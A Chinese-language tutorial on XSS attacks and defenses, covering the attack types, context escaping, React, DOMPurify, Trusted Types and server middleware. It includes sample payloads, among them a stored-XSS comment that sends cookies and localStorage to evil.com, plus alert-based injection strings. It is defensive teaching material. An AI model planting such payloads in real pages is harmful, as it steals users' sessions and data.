XSS 攻击与防御

深入讲解三种XSS攻击类型的原理、危害和防御策略,包括CSP和Trusted Types。

XSS 攻击与防御

概述

2011年,著名社交网站Twitter爆发了一次大规模的XSS蠕虫攻击。用户访问带有恶意代码的推文后,代码会自动执行并传播——点击转发按钮的用户,恶意代码就会被植入他们发布的推文中。这次攻击在数小时内影响了数十万用户。

XSS(Cross-Site Scripting,跨站脚本攻击)之所以如此命名,是因为攻击者的恶意脚本"跨越"了站点边界,在一个网站上执行了来自另一个网站的代码。XSS之所以成为Web安全的最主要威胁之一,是因为它利用了Web应用最核心的功能——动态内容生成——来实现攻击。

从工程角度看,XSS的危害之所以巨大,是因为它突破了浏览器的同源策略。浏览器的同源策略本应阻止一个域名的脚本访问另一个域名的数据,但XSS攻击让攻击者的代码"寄生"在受信任的域名下,从而获得了访问该域名下所有资源的权限——包括Cookie、本地存储、DOM数据,甚至用户的认证令牌。

本节将系统讲解XSS攻击的三种类型:存储型、反射型和DOM型,深入分析攻击向量和防御策略。我们将探讨如何通过输入验证、输出转义、内容安全策略(CSP)以及现代浏览器特性(如Trusted Types)构建纵深防御体系。

目标

  • 深入理解三种XSS攻击类型的攻击原理和区别
  • 掌握不同上下文(HTML、JavaScript、URL、CSS)下的转义策略
  • 熟练使用DOMPurify进行富文本净化
  • 理解CSP的工作原理和部署策略
  • 了解Trusted Types及其在DOM XSS防护中的应用

知识体系

1. XSS 攻击类型

理解XSS攻击的分类,不仅是学术知识,更是设计防御策略的基础。三种XSS类型的区别在于恶意代码的注入方式和传播路径。

存储型 XSS(Stored XSS)

存储型XSS是最危险的XSS类型。恶意脚本被永久存储在目标服务器上,通常是数据库,但也可以是论坛帖子、用户评论、商品评价等任何能持久存储用户输入的地方。当其他用户访问包含恶意内容的页面时,脚本自动执行。

这种攻击的可怕之处在于它的自动传播性。攻击者只需要成功注入一次,恶意代码就会自动感染每一个访问该页面的用户。不需要用户点击任何链接,不需要用户进行任何交互,访问即中招。这正是Twitter蠕虫能够如此迅速扩散的技术原因。

// 攻击场景:论坛评论
// 攻击者提交的评论内容:
const maliciousComment = `
  Great article!
  <script>
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({
        cookies: document.cookie,
        localStorage: JSON.stringify(localStorage),
        url: location.href,
      }),
    });
  </script>
`;

// 如果服务端未过滤,直接存入数据库
// 其他用户浏览该评论时,恶意脚本自动执行

存储型XSS的典型攻击场景包括:

  • 用户评论区:攻击者在论坛、博客、社交网站发表带有恶意脚本的评论
  • 商品评价:电商平台的用户评价区域
  • 私信功能:如果私信内容被存储且未净化
  • 个人信息:如用户填写的"个人简介"字段

反射型 XSS(Reflected XSS)

反射型XSS的恶意脚本不存储在服务器上,而是通过URL参数传递给服务器,服务器"反射"(即将参数未经处理地包含在响应中)给浏览器执行。

常见的攻击场景是搜索功能:用户输入的搜索词被URL参数携带,服务端将搜索词原样返回显示在结果页面。如果搜索词是恶意脚本,它就会被执行。

// 攻击 URL:
// https://example.com/search?q=<script>alert('XSS')</script>

// 服务端不安全的搜索页面:
app.get('/search', (req, res) => {
  const query = req.query.q;
  // ❌ 直接将用户输入插入 HTML
  res.send(`<h1>Search results for: ${query}</h1>`);
});

与存储型XSS不同,反射型XSS需要诱导用户点击恶意构造的URL。这通常通过钓鱼邮件、社交工程或即时通讯中的链接实现。攻击者会构造具有说服力的URL,如使用URL短链接掩盖恶意参数,或者将恶意脚本编码在URL中使其看起来不那么明显。

攻击的一个变体是利用JavaScript解析URL的特性。例如,https://example.com/#<img src=x onerror=alert('XSS')>中的锚点部分(#后的内容)不会发送到服务器,但JavaScript可以通过location.hash访问。攻击者可能利用这种特性绕过服务器端的过滤。

DOM 型 XSS(DOM-based XSS)

DOM型XSS完全在客户端执行,完全不涉及服务端。恶意代码通过URL参数或任何可动态修改DOM的方式注入,由客户端JavaScript执行。

这种攻击的关键是页面客户端JavaScript的不安全操作。常见的危险操作包括使用innerHTMLouterHTMLinsertAdjacentHTML插入HTML内容,或者使用document.writeevalsetTimeout等执行字符串代码。

// 攻击 URL:
// https://example.com/page#<img src=x onerror=alert('XSS')>

// ❌ 不安全的客户端代码
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(hash);

// ❌ 更多危险的 DOM 操作
document.write(userInput);
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0);
new Function(userInput)();

DOM型XSS的特殊之处在于它完全在客户端进行恶意代码注入,服务器端日志和防护措施完全看不到攻击。这意味着传统的服务端WAF无法检测DOM型XSS,防护必须在前端代码层面实现。

另一个需要注意的点是Web Worker的安全性问题。Web Worker中可以使用importScripts加载外部脚本,如果Worker的URL可以通过URL参数控制,攻击者可能利用这个向量注入恶意代码。

2. 输出转义策略

XSS防御的核心原则是不要相信任何用户输入。无论数据来自表单提交、URL参数、API响应还是服务端存储,在输出到HTML、JavaScript、URL、CSS等不同上下文时,都需要进行相应的转义处理。

转义的本质是将特殊字符转换为安全的形式。例如,在HTML上下文中,字符<应该转换为&lt;,这样浏览器会将其解析为普通文本而非标签的开始。

HTML 上下文转义

HTML上下文是最常见的XSS注入点。当用户输入需要作为文本内容显示在HTML中时,需要对HTML特殊字符进行转义。

// HTML 实体编码
function escapeHTML(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
  };
  return str.replace(/[&<>"'/]/g, (char) => map[char]);
}

// ✅ 在 HTML 内容中使用
const safeHTML = `<div>${escapeHTML(userInput)}</div>`;

// ✅ 在 HTML 属性中使用
const safeAttr = `<input value="${escapeHTML(userInput)}" />`;

需要特别注意的是,在HTML属性中转义时,双引号和单引号也需要转义,因为攻击者可能通过闭合属性来注入脚本。例如,<input value="{userInput}">中,如果userInput是" onfocus="alert('XSS'),结果就变成了<input value="" onfocus="alert('XSS')">

JavaScript 上下文转义

当用户输入需要嵌入JavaScript字符串时,需要进行JavaScript级别的转义。使用JSON.stringify是最安全的方式,它会正确处理特殊字符并添加必要的引号。

// ❌ 不安全:将用户输入嵌入 JavaScript
const script = `<script>var data = "${userInput}";</script>`;
// 如果 userInput 是 `"; alert('XSS'); //`
// 结果:<script>var data = ""; alert('XSS'); //";</script>

// ✅ 使用 JSON.stringify 进行安全的数据传递
const safeScript = `<script>var data = ${JSON.stringify(userInput)};</script>`;

// ✅ 更好:使用 data 属性传递
const safeDataAttr = `<div id="app" data-config='${escapeHTML(JSON.stringify(config))}'></div>`;

URL 上下文转义

URL参数中的用户输入需要特别注意。攻击者可能尝试注入javascript:协议或其他危险协议。

// ❌ 不安全:直接使用用户输入构建链接
const link = `<a href="${userInput}">Click</a>`;
// 攻击:userInput = "javascript:alert('XSS')"

// ✅ URL 协议校验
function sanitizeURL(url) {
  try {
    const parsed = new URL(url);
    if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
      return '#';
    }
    return parsed.href;
  } catch {
    return '#';
  }
}

const safeLink = `<a href="${escapeHTML(sanitizeURL(userInput))}">Click</a>`;

URL校验不仅要在前端进行,服务端也必须校验。攻击者可以构造恶意URL直接调用服务端API,绕过前端的URL校验逻辑。

CSS 上下文转义

CSS中也可以注入脚本。早期浏览器曾允许在CSS中使用expression()执行JavaScript,现代浏览器已禁用,但通过CSS注入攻击的可能性仍然存在。

/* 危险的 CSS 表达式(旧版 IE) */
div {
  width: expression(alert('XSS'));
}

/* CSS 中的 URL 注入 */
div {
  background: url('javascript:alert("XSS")');
}

对于富文本编辑器等需要保留一定HTML的场景,应该使用DOMPurify等专业净化库,而非自行实现转义逻辑。

3. React 中的 XSS 防御

React框架在XSS防护方面做了大量工作。默认情况下,React的JSX表达式会对内容进行转义,这使得常见的XSS攻击向量难以生效。

// React 默认对 JSX 表达式进行转义
function SafeComponent({ userInput }) {
  // ✅ 安全:React 自动转义
  return <div>{userInput}</div>;
  // 即使 userInput = "<script>alert('XSS')</script>"
  // 渲染为文本,不会执行
}

// ❌ dangerouslySetInnerHTML 绕过 React 的 XSS 防御
function UnsafeComponent({ htmlContent }) {
  // ⚠️ 仅在内容来源可信时使用
  return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

React的自动转义意味着即使你忘记对用户输入进行转义,React也会帮你处理。但dangerouslySetInnerHTML是一个需要注意的例外——它直接设置innerHTML,绕过了React的防护。

对于需要渲染富文本的场景,应该使用DOMPurify对HTML进行净化。DOMPurify会解析HTML,移除所有危险标签和属性,返回安全的HTML片段。

// ✅ 使用 DOMPurify 净化不可信的 HTML
import DOMPurify from 'dompurify';

function SafeHTMLComponent({ htmlContent }) {
  const clean = DOMPurify.sanitize(htmlContent, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
    ALLOW_DATA_ATTR: false,
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ❌ 危险的 href 值
function UnsafeLink({ url }) {
  return <a href={url}>Click</a>;
  // url = "javascript:alert('XSS')" 仍然会执行
}

// ✅ 校验 URL 协议
function SafeLink({ url, children }) {
  const safeUrl = sanitizeURL(url);
  return (
    <a href={safeUrl} rel="noopener noreferrer">
      {children}
    </a>
  );
}

4. DOMPurify 深度配置

DOMPurify是前端富文本净化的行业标准。它采用白名单方式,只允许特定的标签和属性通过,所有其他内容都会被移除或转义。

DOMPurify的配置需要根据业务场景定制。过于宽松的配置可能留下安全隐患,过于严格的配置可能影响功能。

import DOMPurify from 'dompurify';

// 创建自定义配置
const purify = DOMPurify;

// 基础配置
const cleanHTML = purify.sanitize(dirty, {
  USE_PROFILES: { html: true },
  ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'a', 'img', 'ul', 'ol', 'li', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'src', 'alt', 'class'],
  FORBID_TAGS: ['script', 'style', 'iframe'],
  FORBID_ATTR: ['onclick', 'onerror', 'onload'],
  ADD_TAGS: ['custom-element'],
  ADD_ATTR: ['data-id'],
});

// Hook:自定义处理
purify.addHook('afterSanitizeAttributes', (node) => {
  // 为所有链接添加安全属性
  if (node.tagName === 'A') {
    node.setAttribute('rel', 'noopener noreferrer');
    node.setAttribute('target', '_blank');
  }
  // 移除危险的 src
  if (node.hasAttribute('src')) {
    const src = node.getAttribute('src');
    if (!src.startsWith('https://')) {
      node.removeAttribute('src');
    }
  }
});

DOMPurify的Hook机制允许在净化过程的不同阶段介入。对于高安全要求的场景,可以实现自定义的标签和属性检查逻辑。

5. Trusted Types

Trusted Types是浏览器原生的DOM XSS防护机制。与其让开发者手动转义所有用户输入,Trusted Types要求将任何可能被作为HTML或脚本执行的数据封装为可信类型对象,只有显式创建的可信类型对象才能赋值给危险DOM属性。

启用Trusted Types后,以下代码会抛出错误:

// 没有 Trusted Types 时,以下代码可能造成 XSS
element.innerHTML = untrustedData;

// 启用 Trusted Types 后,必须先创建可信类型
element.innerHTML = policy.createHTML(untrustedData);
// Trusted Types 在浏览器层面阻止 DOM XSS
// 通过 CSP 启用:
// Content-Security-Policy: require-trusted-types-for 'script'

// 创建 Trusted Types 策略
if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
    createScript: (input) => {
      throw new Error('Script creation is not allowed');
    },
    createScriptURL: (input) => {
      const url = new URL(input, location.origin);
      if (url.origin === location.origin) return url.href;
      throw new Error('Untrusted script URL');
    },
  });

  // 使用策略
  element.innerHTML = policy.createHTML(untrustedHTML);
}

Trusted Types的优势在于将XSS防护从"检查代码"转变为"强制执行"。无论开发者是否忘记转义,只要数据没有经过可信类型策略处理,浏览器就会拒绝执行。从安全角度看,这类似于类型系统在防止类型错误方面的作用——在编译时而不是运行时发现问题。

6. 服务端防御

虽然XSS主要在前端执行,但服务端是防御存储型XSS的关键前线。如果服务端正确净化了所有用户输入,存储型XSS就无法成立。

Express中可以使用helmet中间件设置安全响应头,使用xss-middleware进行请求参数净化。

// Express 中间件示例
import helmet from 'helmet';
import xss from 'xss';

const app = express();

// 设置安全响应头
app.use(helmet());

// XSS 过滤中间件
function xssFilter(req, res, next) {
  // 清理请求参数
  for (const key of Object.keys(req.query)) {
    if (typeof req.query[key] === 'string') {
      req.query[key] = xss(req.query[key]);
    }
  }

  // 清理请求体
  if (req.body && typeof req.body === 'object') {
    req.body = sanitizeObject(req.body);
  }

  next();
}

function sanitizeObject(obj) {
  const result = {};
  for (const [key, value] of Object.entries(obj)) {
    if (typeof value === 'string') {
      result[key] = xss(value);
    } else if (typeof value === 'object' && value !== null) {
      result[key] = sanitizeObject(value);
    } else {
      result[key] = value;
    }
  }
  return result;
}

app.use(xssFilter);

服务端的净化处理不能替代前端的净化处理。服务端净化是为了保护存储和防止服务端反射XSS,前端净化是为了保护客户端DOM XSS。两者缺一不可,组成纵深防御。

7. XSS 防御清单

XSS防御不是单一措施,而是一整套纵深防御体系。每层防御都有其局限性,但多层叠加可以显著降低攻击成功的可能性。

XSS 防御多层策略:

第一层:输入验证
├── 白名单校验输入格式
├── 限制输入长度
└── 拒绝明显的恶意输入

第二层:输出转义
├── HTML 上下文 → HTML 实体编码
├── JavaScript 上下文 → JSON.stringify
├── URL 上下文 → 协议校验 + encodeURIComponent
└── CSS 上下文 → CSS 转义

第三层:框架防御
├── React JSX 自动转义
├── DOMPurify 净化富文本
└── 避免 dangerouslySetInnerHTML

第四层:浏览器防御
├── CSP(Content Security Policy)
├── Trusted Types
├── HttpOnly Cookie
└── X-Content-Type-Options: nosniff

需要强调的是,输出转义是防御XSS的核心。输入验证可以作为辅助手段(过滤明显恶意的输入),但攻击者总能找到办法绕过验证。转义则是在任何情况下都必须正确执行的安全措施——无论输入看起来是否"正常",输出时都必须转义。

实战练习

练习 1:XSS 漏洞挖掘

在提供的练习应用中找出所有XSS漏洞(存储型、反射型、DOM型),并逐一修复。练习重点:理解不同类型XSS的攻击向量,熟练使用转义函数,识别常见的安全漏洞模式。

练习 2:富文本编辑器安全

实现一个安全的富文本展示组件,使用DOMPurify配置白名单,允许安全的HTML标签(加粗、斜体、链接、图片)同时阻止所有XSS向量。思考:如何平衡功能性和安全性?

练习 3:Trusted Types 集成

在现有项目中启用Trusted Types,处理所有违规报告并修复。理解Trusted Types与现有防护机制的关系,评估迁移成本和收益。

延展阅读

关键术语

术语 解释
XSS Cross-Site Scripting,跨站脚本攻击,通过注入恶意脚本的攻击方式
Stored XSS 存储型XSS,恶意脚本持久化存储在服务端
Reflected XSS 反射型XSS,恶意脚本通过URL参数注入,由服务端反射
DOM-based XSS DOM型XSS,完全在客户端执行,不经过服务端
HTML Entity Encoding HTML实体编码,将特殊字符转为安全实体
DOMPurify 流行的前端HTML净化库,采用白名单方式
Trusted Types 浏览器API,在DOM层面强制执行XSS防护
Sanitization 净化,清除输入中的恶意内容
CSP Content Security Policy,内容安全策略,控制资源加载
Algorithm Confusion 算法混淆攻击,篡改JWT算法声明的安全漏洞